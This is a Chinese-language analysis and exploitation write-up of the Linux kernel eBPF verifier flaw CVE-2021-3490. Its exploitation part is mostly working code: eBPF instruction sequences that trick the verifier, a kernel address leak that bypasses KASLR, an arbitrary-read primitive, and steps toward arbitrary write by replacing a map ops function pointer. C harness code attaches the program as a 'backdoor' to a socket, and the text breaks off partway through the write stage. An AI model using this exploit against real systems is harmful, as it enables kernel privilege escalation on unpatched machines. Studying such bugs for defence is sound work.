eBPF漏洞CVE-2021-3490分析与利用
漏洞分析
verifier为了跟踪每一个寄存器的边界值（防止越界读写），会对寄存器的每一次运算模拟求解边界值（最大/最小值），由于寄存器是64bits，但是实际参与运算可能是32bits，因此实际会对32/64都进行边界校验，由adjust_scalar_min_max_vals和adjust_reg_min_max_vals函数完成
/* WARNING: This function does calculations on 64-bit values, but the actual
* execution may occur on 32-bit values. Therefore, things like bitshifts
* need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
...
switch (opcode) {
case BPF_ADD:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
case BPF_SUB:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to sub from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_sub(dst_reg, &src_reg);
scalar_min_max_sub(dst_reg, &src_reg);
dst_reg->var_off = tnum_sub(dst_reg->var_off, src_reg.var_off);
break;
case BPF_MUL:
dst_reg->var_off = tnum_mul(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_mul(dst_reg, &src_reg);
scalar_min_max_mul(dst_reg, &src_reg);
break;
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg);
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_LSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_lsh(dst_reg, &src_reg);
else
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_rsh(dst_reg, &src_reg);
else
scalar_min_max_rsh(dst_reg, &src_reg);
break;
case BPF_ARSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_arsh(dst_reg, &src_reg);
else
scalar_min_max_arsh(dst_reg, &src_reg);
break;
default:
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
/* ALU32 ops are zero extended into 64bit register */
if (alu32)
zext_32_to_64(dst_reg);
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
漏洞就出现在32bit的BPF_AND/BPF_OR/BPF_XOR运算上
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case.
*/
if (src_known && dst_known)
return;
...
}
上面的代码说明当32bit 源寄存器和目的寄存器的值都是known的时候，就不更新32bit的边界值。注释说明在这种情况下scalar64_min_max_and会处理。
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umax_val = src_reg->umax_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value &
src_reg->var_off.value);
return;
}
...
}
在64bit边界值校验中，在源和目的寄存器都是known的情况下，会调用__mark_reg_known函数。
但是这里有一个区别
- 在scalar32_min_max_and中用的tnum_subreg_is_const校验寄存器的低32位是否是known；
- 在scalar_min_max_and中用的tnum_is_const校验寄存器的64位是否是known
这里就有一个例外的情况，即一个reg的低32位是known，高32位是unknown。在这种情况下，__mark_reg32_known函数没有被调用，该函数会将寄存器的低32位设置为常数。
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
在adjust_scalar_min_max_vals函数返回前，调用了下面三个函数更新寄存器的边界值
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
它们都有32/64两种实现，漏洞出现在32的实现中，我们只关注这一部分。
__update_reg32_bounds函数根据reg.var_off计算边界值
- 最小值：当前寄存器的最小值/已知的常数值（known）
- 最大值：当前寄存器的最大值/已知的常数值（known）
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}
使用signed的最大/小值订正unsigned的边界值；反之也可以
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and unsigned bounds
* are the same, so combine. This works even in the negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
return;
}
/* Learn sign from unsigned bounds. Signed bounds cross the sign
* boundary, so we must be careful.
*/
if ((s32)reg->u32_max_value >= 0) {
/* Positive. We can't learn anything from the smin, but smax
* is positive, hence safe.
*/
reg->s32_min_value = reg->u32_min_value;
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
} else if ((s32)reg->u32_min_value < 0) {
/* Negative. We can't learn anything from the smax, but smin
* is negative, hence safe.
*/
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value;
}
}
最后，调用__reg_bound_offset更新var_off。
/* Attempts to improve var_off based on unsigned min/max information */
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off,
tnum_range(reg->umin_value,
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),
tnum_range(reg->u32_min_value,
reg->u32_max_value));
reg->var_off = tnum_or(tnum_clear_subreg(var64_off), var32_off);
}
tnum_range根据给定的[umin_value, umax_value]范围值，返回一个tnumtnum_intersect将两个已知的tnum合并为1个tnum（区间合并，取交集）
这里可以举一个实例以助理解上述过程存在的问题。
R2.var_off = {mask = 0xffffffff00000000, value = 0x01}; 即低32bits是known, 高32bits unkown.
1
R3.var_off = {mask = 0x0, value = 0x100000002}; 即整个64bits是known的，值为0x100000002;对于BPF_AND(R2, R3)运算，R2的边界值变化如下
tnum_andu64 alpha = r2.mask | r2.value = 0xffffffff00000001 u64 beta = r3.mask | r3.value = 0x100000002 u64 v = r2.value & r3.value ret = TNUM(v, alpha & beta & ~v) ret = {mask = 0x100000000, value = 0x0}
R2.var_off = {mask = 0x100000000, value = 0x0}
scalar32_min_max_and不会更改R2的边界值，这是因为R2和R3的低32bit都是known__update_reg32_boundsR2.u32_min_value = R2.u32_max_value = 1; // 进入函数前的常数值 // 进入函数之后 u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value) = max(1, 0) = 1; u32_max_value = min(reg->u32_max_value, (u32)(var32_off.value | var32_off.mask)); = min(1, 0) = 0; 对于s32_min_value/max_value也是一样的接下来的
__reg32_deduce_bounds和__reg_bound_offset不会对R2的边界值产生影响
即在这种情况下我们得到的R2最小值是1，最大值是0.
这显然是不合理的，而根本原因就在于在scalar32_min_max_and函数中，没有调用__mark_reg32_known更新u/s32_min/max_value，这也是后来的fix方案
Exploitation
上述例子就是漏洞触发的路径，构造两个寄存器
R2.var_off = {mask = 0xffffffff00000000, value = 0x01}; 即低32bits是known, 高32bits unkown.
R3.var_off = {mask = 0x0, value = 0x100000002}; 即整个64bits是known的，值为0x100000002;第二个相对更容易构造，因为所有的bit都是known的，直接可以赋值，但是由于指令的限制，我们只能用32bits运算
BPF_LD_IMM64(BPF_REG_8, 0x1); // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32); // r8 <= 32 == 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2); // r8 += 2 == 0x10000 0000 2对于的一个，要获得mask=0xffffffff00000000，可以是先得到一个对于verifier看来完全是unknown的值，此时的mask= 0xffffffffffffffff；最直接的方法就是从map中取一个值。并且这种方法允许我们在运行时控制map的实际值，便于利用。
// Load a pointer to map_fd map info R9 R1
BPF_LD_MAP_FD(BPF_REG_9, mapfd);
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9); // r1 = mapfd
// R2=stack_ptr - 4
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10);
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4);
//Store the value 0 at stack_ptr - 4
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0); // r2 = stack_ptr - 4; *r2 = 0
// Call helper function map_lookup_elem, First parameter is in R1 // (map pointer). Second parameter is in R2, (ptr to elem index // value). *(word*)(stack_ptr-4) = 0)
BPF_RAW_INSN(BPF_JNE | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem);调用map_lookup_elem(mapfd, 0)，将得到mapfd第一个elem，返回值在R0中。
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_0, 0);上述过程可以封装为一个BPF_MAP_GET（获取mapfd的指定elem）
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \
BPF_MOV64_IMM(BPF_REG_0, 0)由于BPF_REG_5来自map，完全由用户态控制，对于veifier，它是完全unknown的，即{mask=0xffffffffffffffff, value=0x0}；接下来我们需要将其低32bit设为known，可以and一个已知的常数值0xffffffff000000来构造。
BPF_MAP_GET(0, BPF_REG_5); // r5 = map.elem[0]
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5); // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff); // r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32); // r2 <= 32 == 0xffffffff 00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2); // r6 &= r2 ; high32 unkown, low 32 known
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1); // r6.var_off = {mask=0xffffffff 00000000, value=0x01}通过上述构造的两个寄存器的AND运算即可触发漏洞
// Trigger the vuln
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_8); // r6 &= r8; r6.umin_value=0x1; r6.umax_value=0x0此时r6低32位的真实值是0x2 & 0x1 == 0x0；
Path confusion
verfier在模拟执行bpf code时，遇到有条件分支，为了避免分支爆炸问题，会尝试根据寄存器的边界值，判断该条件分支是否只会走唯一的一条路径。
例如
BPF_JMP32_IMM(BPF_JGE, BPF_REG_6, 1, 5);表示，如果BPF_REG_6的低32bit值大于等于1，将跳过接下来的5条指令。
对于JMP32，将由is_branch32_taken函数判断是否只有一条分支可走，其余分支可以抛弃。
static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
struct tnum subreg = tnum_subreg(reg->var_off);
s32 sval = (s32)val;
switch (opcode) {
....
case BPF_JGE:
if (reg->u32_min_value >= val)
return 1;
else if (reg->u32_max_value < val)
return 0;
break;
...
case BPF_JLE:
if (reg->u32_max_value <= val)
return 1;
else if (reg->u32_min_value > val)
return 0;
break;
...
}
return -1;
}
对于JGE，这里判断如果最小值已经满足条件（大于等于给定的比较值）后，就会返回TRUE；而不会去判断最大值的合法性。同样的对于BPF_JLE，先判断最大值是否满足条件（小于等于给定值）；
配合上述构造的umin_value > umax_value的情况，此时永远会返回TRUE，但是在实际运行中，R6=0, 会运行到FALSE；造成路径的混淆。
这也就意味着理论上，我们可以将任意危险的代码藏在FALSE分支实现，veifier不会对其安全性校验。
但是，事实上，verifier对于它认为永远不可达的代码（dead code）做了patch处理
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
struct bpf_insn *insn = env->prog->insnsi;
const int insn_cnt = env->prog->len;
int i;
for (i = 0; i < insn_cnt; i++) {
if (aux_data[i].seen)
continue;
memcpy(insn + i, &trap, sizeof(trap));
aux_data[i].zext_dst = false;
}
}这里的patch方案就是将所有dead code修改为JMP - 1，这就意味着一旦执行到dead code，将回退到条件分支代码，这就形成了一个无止境的循环。
它之所以不会通过常见的nop方案去patch，是担心这些dead code位于程序尾，程序有可能越界执行。
不通过触发Exception的方式去处理，是因为subprog也可以定位到这些dead code。
Info Leak
在verifier中会跟踪寄存器的状态，并且不允许将PTR的寄存器存储在map里或者作为返回值，防止泄露内核地址。
adjust_ptr_min_max_vals函数跟踪指针运算的边界
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
struct bpf_verifier_state *vstate = env->cur_state;
struct bpf_func_state *state = vstate->frame[vstate->curframe];
struct bpf_reg_state *regs = state->regs, *dst_reg;
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
struct bpf_sanitize_info info = {};
u8 opcode = BPF_OP(insn->code);
u32 dst = insn->dst_reg;
int ret;
dst_reg = ®s[dst];
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
....
}
这里的dst_reg就是指针寄存器，off_reg是参与运算的scalar寄存器；
有一种特殊情况，即当off_reg是一个常量且，off_reg.umin_val > off_reg.umax_val时，dst_reg会被标记为unknown，即scalar寄存器。即此时verifier不再认为dst_reg是一个指针类型，将运行存于map里，结合上述的不合理情况的存在，可以造成泄漏内核地址信息。
而通过前面构造的两个寄存器，我们可以成功得到满足这个条件的寄存器。
接下来，为了获取kernel 任意地址读写能力，我们需要获取一个原语，它能满足这种条件，即veifier认为它的值为0，但实际运行时为1。
首先，对R6加1，相应的边界值都加1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1);// r6 += 1; .umin_value=0x2; umax_value=0x1;之后，一样的方法获取一个对于veifier是unknown的值（来自map），再通过JMP32更新其边界值
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1; .umin_value=0x2; umax_value=0x1;
BPF_JMP32_IMM(JMP_JLE, BPF_REG_5, 1, 1), // if r5 <= 1 goto pc+1;
BPF_EXIT_INSN(),由于运行时，R5的值来自map.elem[0]，可控的，当R5=0时，JLE返回TRUE，将会跳过EXIT指令，并更新R5的边界为R5.var_off = {mask=0xffffffff00000001, value=0x0}。R5.umin_value = 0, umax_value = 0x1;
当R6和R5相加时，边界值再一次更新
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5),static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
....
}
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
....
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) {
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
}
else {
dst_reg->u32_min_value += umin_val;
dst_reg->u32_max_value += umax_val;
}
}
可以看到，在不会产生溢出的情况下，umin/umax_value只是dst和source相应的和。
也就是此时的R6.umin_value=umax_value = 0x2，此时verify 认为R6=0x2；runtime下R6=0x1
之后，利用0x2 & 0x1 == 0x0，构造出verify: 0x0, runtime: 0x1的情况
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1) // verify: 0 runtime: 1后续可以利用这一点完成越界读写。
泄漏内核地址
map里的内容并不是存储在动态分配的堆内存中，而是在bpf_array.value，而同在bpf_array中，存在一个有用的结构体bpf_map
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[0] __aligned(8); // map's content
void *ptrs[0] __aligned(8);
void __percpu *pptrs[0] __aligned(8);
};
};
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u64 map_extra; /* any per-map-type extra fields */
u32 map_flags;
int spin_lock_off; /* >=0 valid offset, <0 error */
int timer_off; /* >=0 valid offset, <0 error */
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
u32 btf_vmlinux_value_type_id;
struct btf *btf;
...
};
其中最重要的一个成员就是ops，它指向了一个虚拟函数表，取决于map的类型。
例如有array_map_ops/cpu_map_ops/dev_map_ops...，这些结构体都位于.rodata，并且在/proc/kallsyms中有对应的导出符号，泄漏这些地址可以用于绕过KALSR.
map_lookup_elem我们可以获取任意一个map里elem的地址即bpf_array.value的地址，通过偏移计算（&value[0] - 0x110）可以得到ops地址。
下述代码可以将ops地址存储在map.elem[4]中
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
// {mask=0x0, value=0x1000000002}
BPF_LD_IMM64(BPF_REG_8, 0x1), // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32), // r8 <= 32 == 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2), // r8 += 2 == 0x10000 0000 2
BPF_MAP_GET(0, BPF_REG_5), // r5 = map.elem[0]
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff), // r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // r2 <= 32 == 0xffffffff 00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2), // r6 &= r2 ; high32 unkown, low 32 known
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), // r6.var_off = {mask=0xffffffff 00000000, value=0x01}
// Trigger the vuln
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_8), // r6 &= r8; r6.umin_value=0x1; r6.umax_value=0x0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1; .umin_value=0x2; umax_value=0x1;
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // if r5 <= 1 goto pc+1;
BPF_EXIT_INSN(), // r5.umin_value = 0x0, umax_value=0x1
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // r6 +=r5 umin_value=umax_value=0x2
// only take low 32 bits
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // r6=r6 ; only low 32bits
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // verify: 0 runtime: 1
// read kalsr(op=0) ops地址在&value[0] - 0x110处
BPF_MAP_GET(1, BPF_REG_7), // 30: (79) r7 = *(u64 *)(r0 +0)
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 23), // 32: (55) if r7 != 0x0 goto pc+23
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // 33: (27) r6 *= 272
BPF_MAP_GET_ADDR(0, BPF_REG_7), // 41: (bf) r7 =map_value(id=0,off=0,ks=4,vs=8,imm=0) R7=invP0 R8=invP0 R9=ma?
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 43: (1f) r7 -= r6
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // 44: (79) r8 = *(u64 *)(r7 +0)
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), // 54: (7b) *(u64 *)(r6 +0) = r8
BPF_EXIT_INSN(),
BPF_EXIT_INSN(),
};触发eBPF code执行
最简单的就是创建一个BPF_PROG_TYPE_SOCKET_FILTER类型的bpf_prog，这样就可以在每一次写入socket操作，就可以触发一次eBPF代码执行
// write_msg() —— trigger to execute eBPF code
int write_msg()
{
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return 1;
}
if (n != sizeof(buffer))
{
fprintf(stderr, "short write: %d\n", n);
}
return 0;
}
泄漏内核地址：
// Step 1: create eBPF code, verify and trigger the vulnerability
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 0x100);
if (mapfd < 0)
{
fail("failed to create map '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
int progfd = load_prog(); // verify
printf("%s\n", bpf_log_buf);
if (progfd < 0)
{
if (errno == EACCES)
{
msg("log:\n%s", bpf_log_buf);
}
printf("%s\n", bpf_log_buf);
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
fail("setsockopt '%s'\n", strerror(errno));
}
// Step 2: leak kernel_base (op=0)
update_elem(0, 0); // value[0]=0x180000000; value[1]=0;
update_elem(1, 0);
size_t value = 0;
write_msg();
size_t ops_addr = get_elem(4); // 读取value[4]处的值
printf("leak addr: 0x%llx\n", ops_addr);
任意地址读
在bpf_map中还有一个重要的结构体指针struct bpf* btf， 它指向一个包含调试信息的结构体，通常情况下，该指针是没有初始化的（NULL），也就提供了一个坑位，可以用于写入任意地址，并且不会对内核其他功能产生影响。
函数bpf_map_get_info_by_fd，有如下代码
if (map->btf) {
info.btf_id = btf_obj_id(map->btf);
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
即，当我们能越界写map->btf为someaddr - offsetof(struct btf, id)时，info.btf_id将被写入*(someaddr)，由于btf_id类型是u32，这种方式可以每次读取任意地址4bytes的内容。
修改bpf_array->bpf_map->btf（&map + 0x40）为指定地址，利用bpf_map_get_info_by_fd可以泄漏btf->id（偏移&btf + 0x58）的四字节。
//eBPF code
// write btf (op=1) (write bpf_array->bpf_map->btf)
BPF_JMP_IMM(BPF_JNE,BPF_REG_7, 1, 22),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0), //
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7= &map.elem[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7,BPF_REG_6), // r7 -= r6
BPF_MAP_GET(2, BPF_REG_8), // r8 = map.elem[2] (target_addr - 0x58)
BPF_ST_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *(u64 *)(r7 + 0) = r8
BPF_EXIT_INSN(),
//trigger code
// abitary read 64 bytes: 利用 bpf_obj_get_info_by_fd 读取两个4字节并拼接到一起
size_t read64(size_t addr)
{
char buf[50] = { 0 };
uint32_t hi_32, lo_32;
update_elem(0, 0);
update_elem(1, 1); //write btf
update_elem(2, addr - 0x58); // target addr - 0x58 (offsetof(btf, id))
write_msg();
if(bpf_obj_get_info_by_fd(mapfd, 0x50, buf)){
fail("failed in bpf_obj_get_info_by_fd.");
return 0;
}
// return value in bpf_map_info->btf_id (offset is 0x40)
lo_32 = *(unsigned int*)(&buf[0x40]);
update_elem(2, addr - 0x58 + 4);
write_msg();
if(bpf_obj_get_info_by_fd(mapfd, 0x50, buf)){
fail("failed in bpf_obj_get_info_by_fd.");
return 0;
}
hi_32 = *(unsigned int*)(&buf[0x40]);
return (((size_t(hi_32) << 32)) | lo_32);
}
任意地址写
现在，我们可以利用前述漏洞获取map相关的地址信息，并可篡改相关地址（可用过map偏移获取的），例如覆写bpf_map的ops函数指针，但是却没有任意地址写。ops函数指针的第一个参数往往都是bpf_map结构，使得很多已知的函数不可用。看起来可行的就是利用bpf_map原生的函数。
其中arraymap的map_get_next_key函数如下
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) {
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
当index < array->map.max_entries - 1时，始终执行*next = index + 1；当map,.max_entries == 0xffffffff时，永远成立。
而当key和next_key可控时，就是一个任意地址写u32（四个字节）的途径
*(u32*)next_key = *key + 1;而ops->map_push_elem函数原型和它相兼容，且两个参数可控
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
如果将ops->map_push_elem函数替换为array_map_get_next_key，即可达到任意地址写。
map->push_elem的唯一调用路径来自bpf_map_update_value，且map_type为特定的类型。
else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK ||
map->map_type == BPF_MAP_TYPE_BLOOM_FILTER) {
err = map->ops->map_push_elem(map, value, flags);
}
因此，构造任意地址写的步骤
1: 在可控expmap.value上复制一份ops 虚函数表，并替换map_push_elem为array_map_get_next_key
2：
3： expmap->max_entries设置为0xffffffff
4：expmap->map_type 设置为 BPF_MAP_TYPE_STACK复制ops虚函数表，并替换map_push_elem
// Step 3: replace map->ops->map_push_elem with map_get_next_key
char fake_ops[0xe8] = { 0 };
for(int i=0; i<0xe8; i+8){
// make a fake ops at &value[0x10]
*(size_t*)&ops[i] = read64(ops_addr + i);
update_elem(0x10 + i/8, *(size_t*)&ops[i]);
}
update_elem(0x10 + 15*8, *(size_t*)&ops[4 * 0x8]);之后的步骤通过eBPF实现
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60), // if r7!=2; goto exit
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // r6 = r6*0x110
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 -= r6
BPF_MAP_GET(2, BPF_REG_6), // r6 = valeu[2]
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), // *(r7+0) = r6
BPF_MOV64_REG(BPF_REG_6, BPF_REG_7), // r6 = r8 ; recovery r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xf8), // r8 *= 0xf8
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 -= r8; r7 = &map.map_type
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0x17), // *(r7 + 0) = 0x17; (STACK)
